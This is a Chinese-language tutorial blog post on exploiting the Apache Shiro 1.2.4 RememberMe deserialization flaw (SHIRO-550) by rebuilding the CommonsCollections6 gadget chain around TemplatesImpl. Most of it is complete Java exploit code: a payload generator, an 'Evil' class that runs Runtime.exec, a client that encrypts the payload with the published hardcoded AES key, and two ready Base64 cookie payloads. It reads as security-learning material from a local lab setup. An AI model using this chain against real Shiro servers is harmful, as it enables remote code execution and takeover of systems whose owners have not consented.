TemplatesImpl在Shiro中的利用

前言

前面学习了CC1、CC3和CC6,其中CC6是不限制版本的一条链,那么为什么还要用到TemplatesImpl这条链呢?不妨我们设想一下:命令执行代码执行到底谁更有价值?

例如在PHP中会遇到一个场景,call_user_funceval都能造成的代码执行,而更多的人愿意使用eval,原因是call_user_func在某种情况下会被限制不能使用assertsystem函数。通过TemplatesImpl构造的利用链,理论上可以执行任意Java代码。

Shiro反序列化原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
Shiro 1.2.4版本默认固定密钥:kPH+bIxk5D2deZiIxcaaaA==
1647518003650.png

影响版本

Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

漏洞环境搭建

漏洞环境: 点击访问

搭建教程: 点击访问

访问首页,如图所示即已搭建成功

1647518368284.png

漏洞分析

先添加一波依赖:

<dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-core</artifactId>
      <version>1.2.4</version>
</dependency>
<dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.27.0-GA</version>
</dependency>
1647518549601.png

先登录抓包一下,使用root/secret登录并勾选Remember Me。

1647518795034.png
1647518868766.png

勾选登录后,Cookie会生成rememberMe字段,这条链子的一个攻击流程就是:

  1. CC链生成payload
  2. 使用Shiro默认密钥进行AES加密
  3. 进行Base64编码
  4. 传入Cookie中的remember字段发送给服务器,最后进行反序列化

不过这里的CC链需要改造CC6才能打,我们先直接来打,看看是什么效果捏?

package Shiro;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections6 {
    public static byte[] getPayload(String command) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { command }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}
package Shiro;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Shiro.Evil.class.getName());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());

    }
}

加密的过程,我直接使用的shiro内置的类org.apache.shiro.crypto.AesCipherService,最后生成一段base64字符串:

8hUffthcUeeLkklAI0FNJwESbBbDgOXdmJZgVFIT091XnNe8AOefNV7cz1O+X4eHMxpoy0Yzl4Kd4QNpXNf97iBIBmwtdH5ld15SJBREX947DUjYxeG2byCRGHkrYvR+7qpx+d8wXQoK1lspXdu3r795ezC/xC0WbmZxxxvrXdRN+BuJr9aiO74mjGB01DkIJUPcoUkVyYawR1uvhpWJQTQzIoLCkySrElzp7SHMxivFl5QMer/ZOwNjhXRWzbrL9nuWrWve9ZCvkhKEAARINETCy40jzHa4zoKoGlZN1wEfqX39eAQ9Onh5GKMc/MM1He/PQEgOt8LykMiJjBs6aoYVjRl4KOgr3M940sJNTJjFOVPtnf1NK3mMqzy2zB5jn1RMkG9L0VIwo1OXcGSlJOftS1V2b+sBjCD3NwqCBAbXrluTxrFz4umWdb+SqQtSC5162IwLVL+Zbmgj/ygXYvTFUvrgf8DpYhT8t4KvJxYKT/vNfdukWhe1NRWUGKmrT3n7s/L7l6+h82bLkf6XxW38mHliDcCuVbTi8qQW4qGdp3c5CfBF6vWbSlsv7904KuUXhSyaiJCpyLuPKcG0AB4B4Rk/9zQ9iq/IAA7g/r/z3KhvonSZXAm75xoqpV8UAjx+LHi9e/lbYvaOOi9EqxWZVEVdXU8Nac3IOSeW9OydVl1ICHb2LLOS2I8wY3TlZRnJPj7CS+KkT6R4NW9IidzKju1PXgcU1QlKjcfQ90CeWclI+zFVCbIxQY4khNkPYjBzTdTitAV0Uvd/76Su9CDlfVaMAtNDJ9omivf4Lb4UiQCmz8lUfSQFhvK5FYqZi28v+Y18WlOls8lS0YdsnCpvVThwg3MkQKJfBCkKx3Fj5kqn1j2jCcdp24RZ5Vqov7urUli3hXL2I7fekicuDwgyq3defCQ+uIRhAzFYxwejKKJgvOLyPHLpJh5aPPR2UD7DdR3sDY3yjg1Gb3grg+9hnRJ6YQ92EJLt5migQxLWOQK12kFBbWn01zIFWWJweWDtYUzhsV13UDuMg774rrD0PawLSi9f+zlVqJBsuAxoTDE/g1sBD1Vg8IcJI1L6BFdLn8gANeFlGFjoYTfBTcfbl6DRCGAw3RPOPBohQhwuCLyZKNdPVCzZjlHg2NEND4DRZItLfLEjYXUz/M91eX3ifiHVHlkG8UrpeqjH/z5a5ZjoO0N+Aq7aF+f7mxVTYf+ppvVPWO7OniM/7xntaU7SeX1NMku8XsnBwNUf02ibLCIbHgdZX2rJdHWuxn7AXUAJ//W4xIGgYn6mX3/lCnaqNxwwjFudwho55aowtBunUUX+yE3ZZxTEjAQHfcML2idFerDOBYxdcfLcwmS/XEklmf2chX5odNg179dJglwzKjGwJVij9ZWhuu6r4eqQ5WF/9dc2wNXDQzJ9R1Nv1ylMgtRpOka1XUVY7VK1Qv1q0gdHeuvDhmwQn+tCh5C+pBkzA+O0JokZEGUjOksi1DIKCJBbuNCJB8m+vTgl/coJ5vVTR0p58u0gdmlpUMSPy+Z8PEvBxL9erE1YUvQYkD5d3rGqC2ZHldMKhv668ru3DvtiqVfg3nm7d1QHRPqeBz3HU2qNUVvgJGqihwu9O9m2AWLQ6bLKBneRt7P3vH/hRM7ZW2ZTkC+0XBMKiMYfRrcMlF5u4gvLkP9REaYAVgPwWHV7C86sncQFzQdNh+sPoyRVVBZYV832Ay7xzWJc
1647519709045.png
1647519782887.png

可以看到,是没有成功弹出计算器的,我们来思考一下为什么呢?

P牛在其Java安全漫谈中给出了答案: 如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。

构造不含数组的反序列化Gadget

接下来,看看如何使用TemplatesImpl来改造CC6。CC6分析传送门首先可以通过下面这几行代码来执行一段Java的字节码

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

而在CC3中介绍了,利用 InvokerTransformer 调用 TemplatesImpl#newTransformer 方法:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(obj),
    new InvokerTransformer("newTransformer", null, null)
};

但是这里仍然是用到了Transformer[],所以还算不满足条件。

CommonsCollections6中使用了TiedMapEntry这个类,它的构造函数接受了两个参数,一个是Map,一个是对象Key。TiedMapEntry类有个getValue调用了map的get方法,并传入key。

public Object getValue() {
    return map.get(key);
}

当这个map被传入LazyMap的时候,其get方法就触发了transform()方法。

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

在以前构造CC6的时候,这里参数key的值实际上是可以随意设置的,因为Transformer[]数组的首个对象是ConstantTransformer,我们是通过ConstantTransformer来初始化恶意对象。

1647521620469.png

但是现在不能使用Transformer[]数组了,自然也就不能使用ConstantTransformer了。但是此时这个LazyMap#get 的参数key却让人引起重视,因为这个key会被传入transform(),也就是它也能扮演ConstantTransformer的角色,用来传递恶意对象。

改造CommonsCollections6为 CommonsCollectionsShiro

首先第一步还算使用TemplatesImpl对象:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后用newTransformer方法的InvokerTransformer,但此时先构造一个fake,防止恶意方法在构造链子的时候触发:

Transformer transformer = new InvokerTransformer("getClass", null, null);

然后下面就继续用CC6的代码,在TiedMapEntry构造的时候,第二个参数key传入刚刚创建的TemplatesImpl对象:

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();

之前使用的outerMap.remove来移除keykey这个值,这里可以用过 outerMap.clear()效果是一样的。

最后,将 InvokerTransformer 的方法从人畜无害的 getClass ,改成 newTransformer(用于初始化,触发恶意类的构造函数)

完整CommonsCollectionsShiro:

package Shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

写一个Client.java来配合链子生成payload:

package Shiro;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Shiro.Evil.class.getName());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());

    }
}

Evil类

还有一个Evil类,用到了javassist,它是一个字节码操纵的第三方库,可以帮助我们把恶意类转化为字节码文件,再传入TemplatesImpl进行类加载。

package Shiro;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}

Payload:

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
1647526673995.png

最后

  • Shiro不是遇到Tomcat就一定会有数组这个问题

  • Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了,还有新的Shiro721

  • Shiro550使用已知密钥撞,Shiro721是使用登录后rememberMe={value}去爆破正确的key值进而反序列化,对比Shiro550条件只要有足够密钥库(条件比较低)、Shiro721需要登录(要求比较高鸡肋)